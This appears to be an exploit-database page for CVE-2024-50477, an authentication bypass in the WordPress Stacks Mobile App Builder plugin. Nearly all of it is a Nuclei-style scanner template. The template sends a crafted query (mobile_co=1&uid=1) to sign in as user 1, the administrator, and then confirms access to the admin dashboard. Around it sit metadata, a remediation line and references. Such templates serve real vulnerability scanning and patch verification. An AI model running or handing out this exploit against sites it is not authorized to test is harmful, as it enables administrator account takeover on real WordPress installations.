CVE-2024-50477: WordPress Stacks Mobile App Builder <=5.2.3 - Authentication Bypass

2025-08-01 WordPress Stacks Mobile App Builder PoC Public

Description

Stacks Mobile App Builder WordPress plugin ≤ 5.2.3 suffers from an authentication bypass vulnerability via improper handling of query parameters, allowing attackers to impersonate arbitrary users.

PoC

id: CVE-2024-50477

info:
  name: WordPress Stacks Mobile App Builder <=5.2.3 - Authentication Bypass
  author: stealthcopter,vijay-sutar
  severity: critical
  description: |
    Stacks Mobile App Builder WordPress plugin ≤ 5.2.3 suffers from an authentication bypass vulnerability via improper handling of query parameters, allowing attackers to impersonate arbitrary users.
  impact: |
    Attackers can exploit vulnerabilities to compromise the system.
  remediation: |
    Update to the latest patched version addressing CVE-2024-50477.
  reference:
    - https://github.com/stealthcopter/wordpress-hacking/blob/main/reports/stacks-mobile-app-builder-priv-esc/stacks-mobile-app-builder-priv-esc.md
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/stacks-mobile-app-builder/stacks-mobile-app-builder-523-authentication-bypass-via-account-takeover
    - https://patchstack.com/database/vulnerability/stacks-mobile-app-builder/wordpress-stacks-mobile-app-builder-plugin-5-2-3-account-takeover-vulnerability?_s_id=cve
    - https://github.com/RandomRobbieBF/CVE-2024-50477
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-50477
    cwe-id: CWE-288,CWE-306
    epss-score: 0.08118
    epss-percentile: 0.94537
    cpe: cpe:2.3:a:stacksmarket:stacks_mobile_app_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: stacks
    product: stacks_mobile_app_builder
    framework: wordpress
  tags: cve,cve2024,wordpress,auth-bypass,account-takeover,wp-plugin,stacks,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/stacks-mobile-app-builder/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Stacks Mobile App Builder")'
        condition: and
        internal: true

  - raw:
      - |
        GET /?mobile_co=1&uid=1 HTTP/1.1
        Host: {{Hostname}}

  - raw:
      - |
        POST /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Dashboard","Plugins","Edit Profile")'
        condition: and
# digest: 4a0a00473045022100a5c15cd8627c534171e915a56a632085ae41bafd65744930e90dafa7c153d7860220347532ce9f5448005889c03550a47a79d443404ff00a66d13f29c40197962739:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities